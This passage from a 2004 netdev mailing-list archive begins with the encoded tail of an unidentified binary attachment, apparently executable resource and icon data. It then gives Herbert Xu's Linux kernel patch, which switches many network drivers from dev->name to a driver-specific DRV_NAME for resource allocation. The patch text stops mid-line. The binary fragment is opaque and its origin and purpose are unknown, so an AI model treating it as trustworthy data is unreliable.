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 AAAAAAAAAAAAAAAAzP//AGhXWAAAAAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIi IiNERERERERERERERFJSIiIjREREREREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERE RESVRERJVFJSIiIjRIiIiIhESVVVWVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJ VFJSIiIjRERERERERESVSVRSUiIiI0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIj RIiIiIiIiIhESURSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERE RERERERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERS UiIiI0Q5kkRCREREREREUlIiIiNEMiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0Qy IndyRIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiRERE REREUlIiIiNEMzIiIkRERERERFJSIiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIi IiNCRCRCRCRCRCRCRDJSIiIiJDNDNDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH+AAAD/////8oAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A /wD//wAA////AAAAAAAAAAAAAHd3d3d3cAAA//+f/59wAAD//3mZn3AAAPRE95+fcAAA//// eZ9wAAD0RET3n3AAAP//////cAAA9ERERE9wAAD//////3AAAPRERERPcAAA//////9wAAD/ /////3AAAPDw8PDw8AAAD4+Pj4+AAAAAAAAAAAAAwAcAAMADAADAAwAAwAMAAMADAADAAwAA wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADABwAA6q8AAAAAAQACACAgEAABAAQA 6AIAAAEAEBAQAAEABAAoAQAAAgAAAAAAAAD/ ------=_NextPart_000_0013_000006B1.00005D30-- From herbert@gondor.apana.org.au Sat May 22 00:47:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 22 May 2004 00:48:23 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4M7laKO029578 for ; Sat, 22 May 2004 00:47:38 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BRRBV-0004PX-00; Sat, 22 May 2004 17:44:45 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BRRBM-0002Va-00; Sat, 22 May 2004 17:44:36 +1000 Date: Sat, 22 May 2004 17:44:35 +1000 To: Jeff Garzik , netdev@oss.sgi.com Subject: 2/x: [NETDRV] Use driver-specific name for resources Message-ID: <20040522074435.GA9628@gondor.apana.org.au> References: <20040313025859.GA8186@gondor.apana.org.au> <405C294D.5040508@pobox.com> <20040520111937.GA21804@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="UlVJffcvxoiEqYs2" Content-Disposition: inline In-Reply-To: <20040520111937.GA21804@gondor.apana.org.au> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5238 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Thu, May 20, 2004 at 09:19:37PM +1000, herbert wrote: > > Thanks for the comments. > > I'll split it up. Here is the bit which conditionalises the > builtin-only probe functions. Here is the next part which uses a driver-specific name instead of dev->name for resource allocations prior to netdev registration. It also changes printks that are in direct response to errors in resource allocations. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --UlVJffcvxoiEqYs2 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p diff -Nru a/drivers/net/3c501.c b/drivers/net/3c501.c --- a/drivers/net/3c501.c Sat May 22 17:40:55 2004 +++ b/drivers/net/3c501.c Sat May 22 17:40:55 2004 @@ -225,7 +225,7 @@ * Reserve I/O resource for exclusive use by this driver */ - if (!request_region(ioaddr, EL1_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, EL1_IO_EXTENT, DRV_NAME)) return -ENODEV; /* diff -Nru a/drivers/net/3c503.c b/drivers/net/3c503.c --- a/drivers/net/3c503.c Sat May 22 17:40:55 2004 +++ b/drivers/net/3c503.c Sat May 22 17:40:55 2004 @@ -184,10 +184,10 @@ static unsigned version_printed; unsigned long vendor_id; - if (!request_region(ioaddr, EL2_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, EL2_IO_EXTENT, DRV_NAME)) return -EBUSY; - if (!request_region(ioaddr + 0x400, 8, dev->name)) { + if (!request_region(ioaddr + 0x400, 8, DRV_NAME)) { retval = -EBUSY; goto out; } diff -Nru a/drivers/net/3c507.c b/drivers/net/3c507.c --- a/drivers/net/3c507.c Sat May 22 17:40:55 2004 +++ b/drivers/net/3c507.c Sat May 22 17:40:55 2004 @@ -373,7 +373,7 @@ init_ID_done = 1; } - if (!request_region(ioaddr, EL16_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, EL16_IO_EXTENT, DRV_NAME)) return -ENODEV; if ((inb(ioaddr) != '*') || (inb(ioaddr + 1) != '3') || @@ -392,7 +392,7 @@ irq = inb(ioaddr + IRQ_CONFIG) & 0x0f; - irqval = request_irq(irq, &el16_interrupt, 0, dev->name, dev); + irqval = request_irq(irq, &el16_interrupt, 0, DRV_NAME, dev); if (irqval) { printk ("unable to get IRQ %d (irqval=%d).\n", irq, irqval); retval = -EAGAIN; diff -Nru a/drivers/net/3c523.c b/drivers/net/3c523.c --- a/drivers/net/3c523.c Sat May 22 17:40:55 2004 +++ b/drivers/net/3c523.c Sat May 22 17:40:55 2004 @@ -445,7 +445,7 @@ slot = mca_find_adapter(ELMC_MCA_ID, slot + 1); continue; } - if (!request_region(dev->base_addr, ELMC_IO_EXTENT, dev->name)) { + if (!request_region(dev->base_addr, ELMC_IO_EXTENT, DRV_NAME)) { slot = mca_find_adapter(ELMC_MCA_ID, slot + 1); continue; } diff -Nru a/drivers/net/3c527.c b/drivers/net/3c527.c --- a/drivers/net/3c527.c Sat May 22 17:40:55 2004 +++ b/drivers/net/3c527.c Sat May 22 17:40:55 2004 @@ -434,10 +434,10 @@ * Grab the IRQ */ - err = request_irq(dev->irq, &mc32_interrupt, SA_SHIRQ | SA_SAMPLE_RANDOM, dev->name, dev); + err = request_irq(dev->irq, &mc32_interrupt, SA_SHIRQ | SA_SAMPLE_RANDOM, DRV_NAME, dev); if (err) { release_region(dev->base_addr, MC32_IO_EXTENT); - printk(KERN_ERR "%s: unable to get IRQ %d.\n", dev->name, dev->irq); + printk(KERN_ERR "%s: unable to get IRQ %d.\n", DRV_NAME, dev->irq); goto err_exit_ports; } diff -Nru a/drivers/net/82596.c b/drivers/net/82596.c --- a/drivers/net/82596.c Sat May 22 17:40:55 2004 +++ b/drivers/net/82596.c Sat May 22 17:40:55 2004 @@ -63,6 +63,8 @@ static char version[] __initdata = "82596.c $Revision: 1.5 $\n"; +#define DRV_NAME "82596" + /* DEBUG flags */ @@ -1191,7 +1193,7 @@ /* this is easy the ethernet interface can only be at 0x300 */ /* first check nothing is already registered here */ - if (!request_region(ioaddr, I596_TOTAL_SIZE, dev->name)) { + if (!request_region(ioaddr, I596_TOTAL_SIZE, DRV_NAME)) { printk(KERN_ERR "82596: IO address 0x%04x in use\n", ioaddr); err = -EBUSY; goto out; diff -Nru a/drivers/net/ac3200.c b/drivers/net/ac3200.c --- a/drivers/net/ac3200.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ac3200.c Sat May 22 17:40:55 2004 @@ -39,6 +39,8 @@ #include "8390.h" +#define DRV_NAME "ac3200" + /* Offsets from the base address. */ #define AC_NIC_BASE 0x00 #define AC_SA_PROM 0x16 /* The station address PROM. */ @@ -161,7 +163,7 @@ { int i, retval; - if (!request_region(ioaddr, AC_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, AC_IO_EXTENT, DRV_NAME)) return -EBUSY; if (inb_p(ioaddr + AC_ID_PORT) == 0xff) { @@ -205,7 +207,7 @@ printk(", assigning"); } - retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, ei_interrupt, 0, DRV_NAME, dev); if (retval) { printk (" nothing! Unable to get IRQ %d.\n", dev->irq); goto out1; diff -Nru a/drivers/net/acenic.c b/drivers/net/acenic.c --- a/drivers/net/acenic.c Sat May 22 17:40:55 2004 +++ b/drivers/net/acenic.c Sat May 22 17:40:55 2004 @@ -85,6 +85,8 @@ #include +#define DRV_NAME "acenic" + #undef INDEX_DEBUG #ifdef CONFIG_ACENIC_OMIT_TIGON_I @@ -1454,10 +1456,10 @@ } ecode = request_irq(pdev->irq, ace_interrupt, SA_SHIRQ, - dev->name, dev); + DRV_NAME, dev); if (ecode) { printk(KERN_WARNING "%s: Requested IRQ %d is busy\n", - dev->name, pdev->irq); + DRV_NAME, pdev->irq); goto init_error; } else dev->irq = pdev->irq; diff -Nru a/drivers/net/apne.c b/drivers/net/apne.c --- a/drivers/net/apne.c Sat May 22 17:40:55 2004 +++ b/drivers/net/apne.c Sat May 22 17:40:55 2004 @@ -49,6 +49,8 @@ /* ---- No user-serviceable parts below ---- */ +#define DRV_NAME "apne" + #define NE_BASE (dev->base_addr) #define NE_CMD 0x00 #define NE_DATAPORT 0x10 /* NatSemi-defined port window offset. */ @@ -168,7 +170,7 @@ return ERR_PTR(-ENODEV); } - if (!request_region(IOBASE, 0x20, dev->name)) { + if (!request_region(IOBASE, 0x20, DRV_NAME)) { free_netdev(dev); return ERR_PTR(-EBUSY); } @@ -310,7 +312,7 @@ dev->base_addr = ioaddr; /* Install the Interrupt handler */ - i = request_irq(IRQ_AMIGA_PORTS, apne_interrupt, SA_SHIRQ, dev->name, dev); + i = request_irq(IRQ_AMIGA_PORTS, apne_interrupt, SA_SHIRQ, DRV_NAME, dev); if (i) return i; for(i = 0; i < ETHER_ADDR_LEN; i++) { diff -Nru a/drivers/net/at1700.c b/drivers/net/at1700.c --- a/drivers/net/at1700.c Sat May 22 17:40:55 2004 +++ b/drivers/net/at1700.c Sat May 22 17:40:55 2004 @@ -65,6 +65,8 @@ static char version[] __initdata = "at1700.c:v1.15 4/7/98 Donald Becker (becker@cesdis.gsfc.nasa.gov)\n"; +#define DRV_NAME "at1700" + /* Tunable parameters. */ /* When to switch from the 64-entry multicast filter to Rx-all-multicast. */ @@ -322,11 +324,11 @@ struct net_local *lp = netdev_priv(dev); #ifndef CONFIG_X86_PC9800 - if (!request_region(ioaddr, AT1700_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, AT1700_IO_EXTENT, DRV_NAME)) return -EBUSY; #else for (i = 0; i < 0x2000; i += 0x0200) { - if (!request_region(ioaddr + i, 2, dev->name)) { + if (!request_region(ioaddr + i, 2, DRV_NAME)) { while (i > 0) { i -= 0x0200; release_region(ioaddr + i, 2); @@ -542,7 +544,7 @@ lp->jumpered = is_fmv18x; lp->mca_slot = slot; /* Snarf the interrupt vector now. */ - ret = request_irq(irq, &net_interrupt, 0, dev->name, dev); + ret = request_irq(irq, &net_interrupt, 0, DRV_NAME, dev); if (ret) { printk (" AT1700 at %#3x is unusable due to a conflict on" "IRQ %d.\n", ioaddr, irq); diff -Nru a/drivers/net/cs89x0.c b/drivers/net/cs89x0.c --- a/drivers/net/cs89x0.c Sat May 22 17:40:55 2004 +++ b/drivers/net/cs89x0.c Sat May 22 17:40:55 2004 @@ -141,6 +141,8 @@ static char version[] __initdata = "cs89x0.c: v2.4.3-pre1 Russell Nelson , Andrew Morton \n"; +#define DRV_NAME "cs89x0" + /* First, a few definitions that the brave might change. A zero-terminated list of I/O addresses to be probed. Some special flags.. Addr & 1 = Read back the address port, look for signature and reset @@ -425,9 +427,9 @@ /* Grab the region so we can find another board if autoIRQ fails. */ /* WTF is going on here? */ - if (!request_region(ioaddr & ~3, NETCARD_IO_EXTENT, dev->name)) { + if (!request_region(ioaddr & ~3, NETCARD_IO_EXTENT, DRV_NAME)) { printk(KERN_ERR "%s: request_region(0x%x, 0x%x) failed\n", - dev->name, ioaddr, NETCARD_IO_EXTENT); + DRV_NAME, ioaddr, NETCARD_IO_EXTENT); retval = -EBUSY; goto out1; } diff -Nru a/drivers/net/defxx.c b/drivers/net/defxx.c --- a/drivers/net/defxx.c Sat May 22 17:40:55 2004 +++ b/drivers/net/defxx.c Sat May 22 17:40:55 2004 @@ -219,6 +219,8 @@ static char version[] __devinitdata = "defxx.c:v1.06 2003/08/04 Lawrence V. Stefani and others\n"; +#define DRV_NAME "defxx" + #define DYNAMIC_BUFFERS 1 #define SKBUFF_RX_COPYBREAK 200 @@ -435,9 +437,9 @@ bp = dev->priv; - if (!request_region (ioaddr, pdev ? PFI_K_CSR_IO_LEN : PI_ESIC_K_CSR_IO_LEN, dev->name)) { + if (!request_region (ioaddr, pdev ? PFI_K_CSR_IO_LEN : PI_ESIC_K_CSR_IO_LEN, DRV_NAME)) { printk (KERN_ERR "%s: Cannot reserve I/O resource 0x%x @ 0x%lx, aborting\n", - dev->name, PFI_K_CSR_IO_LEN, ioaddr); + DRV_NAME, PFI_K_CSR_IO_LEN, ioaddr); err = -EBUSY; goto err_out; } diff -Nru a/drivers/net/e2100.c b/drivers/net/e2100.c --- a/drivers/net/e2100.c Sat May 22 17:40:55 2004 +++ b/drivers/net/e2100.c Sat May 22 17:40:55 2004 @@ -51,6 +51,8 @@ #include "8390.h" +#define DRV_NAME "e2100" + static int e21_probe_list[] = {0x300, 0x280, 0x380, 0x220, 0}; /* Offsets from the base_addr. @@ -177,7 +179,7 @@ unsigned char *station_addr = dev->dev_addr; static unsigned version_printed; - if (!request_region(ioaddr, E21_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, E21_IO_EXTENT, DRV_NAME)) return -EBUSY; /* First check the station address for the Ctron prefix. */ diff -Nru a/drivers/net/eepro.c b/drivers/net/eepro.c --- a/drivers/net/eepro.c Sat May 22 17:40:55 2004 +++ b/drivers/net/eepro.c Sat May 22 17:40:55 2004 @@ -151,6 +151,8 @@ #include #include +#define DRV_NAME "eepro" + #define compat_dev_kfree_skb( skb, mode ) dev_kfree_skb( (skb) ) /* I had reports of looong delays with SLOW_DOWN defined as udelay(2) */ #define SLOW_DOWN inb(0x80) @@ -747,7 +749,7 @@ int ioaddr = dev->base_addr; /* Grab the region so we can find another board if autoIRQ fails. */ - if (!request_region(ioaddr, EEPRO_IO_EXTENT, dev->name)) { + if (!request_region(ioaddr, EEPRO_IO_EXTENT, DRV_NAME)) { if (!autoprobe) printk(KERN_WARNING "EEPRO: io-port 0x%04x in use \n", ioaddr); diff -Nru a/drivers/net/eth16i.c b/drivers/net/eth16i.c --- a/drivers/net/eth16i.c Sat May 22 17:40:55 2004 +++ b/drivers/net/eth16i.c Sat May 22 17:40:55 2004 @@ -493,7 +493,7 @@ int retval; /* Let's grab the region */ - if (!request_region(ioaddr, ETH16I_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, ETH16I_IO_EXTENT, cardname)) return -EBUSY; /* @@ -540,9 +540,9 @@ /* Try to obtain interrupt vector */ - if ((retval = request_irq(dev->irq, (void *)ð16i_interrupt, 0, dev->name, dev))) { - printk(KERN_WARNING "%s: %s at %#3x, but is unusable due conflicting IRQ %d.\n", - dev->name, cardname, ioaddr, dev->irq); + if ((retval = request_irq(dev->irq, (void *)ð16i_interrupt, 0, cardname, dev))) { + printk(KERN_WARNING "%s at %#3x, but is unusable due to conflicting IRQ %d.\n", + cardname, ioaddr, dev->irq); goto out; } diff -Nru a/drivers/net/ewrk3.c b/drivers/net/ewrk3.c --- a/drivers/net/ewrk3.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ewrk3.c Sat May 22 17:40:55 2004 @@ -1271,7 +1271,7 @@ for (; (i < maxSlots) && (dev != NULL); iobase += EWRK3_IOP_INC, i++) { - if (request_region(iobase, EWRK3_TOTAL_SIZE, dev->name)) { + if (request_region(iobase, EWRK3_TOTAL_SIZE, DRV_NAME)) { if (DevicePresent(iobase) == 0) { int irq = dev->irq; ret = ewrk3_hw_init(dev, iobase); @@ -1312,7 +1312,7 @@ for (i = 1; (i < maxSlots) && (dev != NULL); i++, iobase += EISA_SLOT_INC) { if (EISA_signature(name, EISA_ID) == 0) { - if (request_region(iobase, EWRK3_TOTAL_SIZE, dev->name) && + if (request_region(iobase, EWRK3_TOTAL_SIZE, DRV_NAME) && DevicePresent(iobase) == 0) { int irq = dev->irq; ret = ewrk3_hw_init(dev, iobase); diff -Nru a/drivers/net/fmv18x.c b/drivers/net/fmv18x.c --- a/drivers/net/fmv18x.c Sat May 22 17:40:55 2004 +++ b/drivers/net/fmv18x.c Sat May 22 17:40:55 2004 @@ -57,6 +57,8 @@ #include #include +#define DRV_NAME "fmv18x" + static unsigned fmv18x_probe_list[] __initdata = { 0x220, 0x240, 0x260, 0x280, 0x2a0, 0x2c0, 0x300, 0x340, 0 }; @@ -192,7 +194,7 @@ That means we have to be careful with the register values we probe for. */ - if (!request_region(ioaddr, FMV18X_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, FMV18X_IO_EXTENT, DRV_NAME)) return -EBUSY; dev->irq = irq; @@ -224,7 +226,7 @@ } /* Snarf the interrupt vector now. */ - retval = request_irq(dev->irq, &net_interrupt, 0, dev->name, dev); + retval = request_irq(dev->irq, &net_interrupt, 0, DRV_NAME, dev); if (retval) { printk ("FMV-18x found at %#3x, but it's unusable due to a conflict on" "IRQ %d.\n", ioaddr, dev->irq); diff -Nru a/drivers/net/forcedeth.c b/drivers/net/forcedeth.c --- a/drivers/net/forcedeth.c Sat May 22 17:40:55 2004 +++ b/drivers/net/forcedeth.c Sat May 22 17:40:55 2004 @@ -81,6 +81,7 @@ * superfluous timer interrupts from the nic. */ #define FORCEDETH_VERSION "0.25" +#define DRV_NAME "forcedeth" #include #include @@ -1424,7 +1425,7 @@ pci_set_master(pci_dev); - err = pci_request_regions(pci_dev, dev->name); + err = pci_request_regions(pci_dev, DRV_NAME); if (err < 0) goto out_disable; diff -Nru a/drivers/net/hp-plus.c b/drivers/net/hp-plus.c --- a/drivers/net/hp-plus.c Sat May 22 17:40:55 2004 +++ b/drivers/net/hp-plus.c Sat May 22 17:40:55 2004 @@ -37,6 +37,8 @@ #include "8390.h" +#define DRV_NAME "hp-plus" + /* A zero-terminated list of I/O addresses to be probed. */ static unsigned int hpplus_portlist[] __initdata = {0x200, 0x240, 0x280, 0x2C0, 0x300, 0x320, 0x340, 0}; @@ -178,7 +180,7 @@ int mem_start; static unsigned version_printed; - if (!request_region(ioaddr, HP_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, HP_IO_EXTENT, DRV_NAME)) return -EBUSY; /* Check for the HP+ signature, 50 48 0x 53. */ diff -Nru a/drivers/net/hp.c b/drivers/net/hp.c --- a/drivers/net/hp.c Sat May 22 17:40:55 2004 +++ b/drivers/net/hp.c Sat May 22 17:40:55 2004 @@ -37,6 +37,8 @@ #include "8390.h" +#define DRV_NAME "hp" + /* A zero-terminated list of I/O addresses to be probed. */ static unsigned int hppclan_portlist[] __initdata = { 0x300, 0x320, 0x340, 0x280, 0x2C0, 0x200, 0x240, 0}; @@ -139,7 +141,7 @@ const char *name; static unsigned version_printed; - if (!request_region(ioaddr, HP_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, HP_IO_EXTENT, DRV_NAME)) return -EBUSY; /* Check for the HP physical address, 08 00 09 xx xx xx. */ @@ -184,7 +186,7 @@ outb_p(irqmap[irq] | HP_RUN, ioaddr + HP_CONFIGURE); outb_p( 0x00 | HP_RUN, ioaddr + HP_CONFIGURE); if (irq == probe_irq_off(cookie) /* It's a good IRQ line! */ - && request_irq (irq, ei_interrupt, 0, dev->name, dev) == 0) { + && request_irq (irq, ei_interrupt, 0, DRV_NAME, dev) == 0) { printk(" selecting IRQ %d.\n", irq); dev->irq = *irqp; break; @@ -199,7 +201,7 @@ } else { if (dev->irq == 2) dev->irq = 9; - if ((retval = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev))) { + if ((retval = request_irq(dev->irq, ei_interrupt, 0, DRV_NAME, dev))) { printk (" unable to get IRQ %d.\n", dev->irq); goto out; } diff -Nru a/drivers/net/ibmlana.c b/drivers/net/ibmlana.c --- a/drivers/net/ibmlana.c Sat May 22 17:40:55 2004 +++ b/drivers/net/ibmlana.c Sat May 22 17:40:55 2004 @@ -97,6 +97,8 @@ #undef DEBUG +#define DRV_NAME "ibmlana" + /* ------------------------------------------------------------------------ * global static data - not more since we can handle multiple boards and * have to pack all state info into the device struct! @@ -951,8 +953,8 @@ printk(KERN_INFO "%s: IBM LAN Adapter/A found in slot %d\n", dev->name, slot + 1); /* try to obtain I/O range */ - if (!request_region(iobase, IBM_LANA_IORANGE, dev->name)) { - printk(KERN_ERR "%s: cannot allocate I/O range at %#x!\n", dev->name, iobase); + if (!request_region(iobase, IBM_LANA_IORANGE, DRV_NAME)) { + printk(KERN_ERR "%s: cannot allocate I/O range at %#x!\n", DRV_NAME, iobase); startslot = slot + 1; return -EBUSY; } diff -Nru a/drivers/net/jazzsonic.c b/drivers/net/jazzsonic.c --- a/drivers/net/jazzsonic.c Sat May 22 17:40:55 2004 +++ b/drivers/net/jazzsonic.c Sat May 22 17:40:55 2004 @@ -37,6 +37,8 @@ #include #include +#define DRV_NAME "jazzsonic" + #define SREGS_PAD(n) u16 n; #include "sonic.h" @@ -151,7 +153,7 @@ int err = -ENODEV; int i; - if (!request_region(base_addr, 0x100, dev->name)) + if (!request_region(base_addr, 0x100, DRV_NAME)) return -EBUSY; /* * get the Silicon Revision ID. If this is one of the known diff -Nru a/drivers/net/lne390.c b/drivers/net/lne390.c --- a/drivers/net/lne390.c Sat May 22 17:40:55 2004 +++ b/drivers/net/lne390.c Sat May 22 17:40:55 2004 @@ -49,6 +49,8 @@ #include "8390.h" +#define DRV_NAME "lne390" + static int lne390_probe1(struct net_device *dev, int ioaddr); static int lne390_open(struct net_device *dev); @@ -112,7 +114,7 @@ SET_MODULE_OWNER(dev); if (ioaddr > 0x1ff) { /* Check a single specified location. */ - if (!request_region(ioaddr, LNE390_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, LNE390_IO_EXTENT, DRV_NAME)) return -EBUSY; ret = lne390_probe1(dev, ioaddr); if (ret) @@ -131,7 +133,7 @@ /* EISA spec allows for up to 16 slots, but 8 is typical. */ for (ioaddr = 0x1000; ioaddr < 0x9000; ioaddr += 0x1000) { - if (!request_region(ioaddr, LNE390_IO_EXTENT, dev->name)) + if (!request_region(ioaddr, LNE390_IO_EXTENT, DRV_NAME)) continue; if (lne390_probe1(dev, ioaddr) == 0) return 0; @@ -230,7 +232,7 @@ } printk(" IRQ %d,", dev->irq); - if ((ret = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev))) { + if ((ret = request_irq(dev->irq, ei_interrupt, 0, DRV_NAME, dev))) { printk (" unable to get IRQ %d.\n", dev->irq); return ret; } diff -Nru a/drivers/net/lp486e.c b/drivers/net/lp486e.c --- a/drivers/net/lp486e.c Sat May 22 17:40:55 2004 +++ b/drivers/net/lp486e.c Sat May 22 17:40:55 2004 @@ -75,6 +75,8 @@ #include #include +#define DRV_NAME "lp486e" + /* debug print flags */ #define LOG_SRCDST 0x80000000 #define LOG_STATINT 0x40000000 @@ -970,7 +972,7 @@ return -ENODEV; probed++; - if (!request_region(IOADDR, LP486E_TOTAL_SIZE, dev->name)) { + if (!request_region(IOADDR, LP486E_TOTAL_SIZE, DRV_NAME)) { printk(KERN_ERR "lp486e: IO address 0x%x in use\n", IOADDR); return -EBUSY; } diff -Nru a/drivers/net/natsemi.c b/drivers/net/natsemi.c --- a/drivers/net/natsemi.c Sat May 22 17:40:55 2004 +++ b/drivers/net/natsemi.c Sat May 22 17:40:55 2004 @@ -766,7 +766,7 @@ SET_MODULE_OWNER(dev); SET_NETDEV_DEV(dev, &pdev->dev); - i = pci_request_regions(pdev, dev->name); + i = pci_request_regions(pdev, DRV_NAME); if (i) 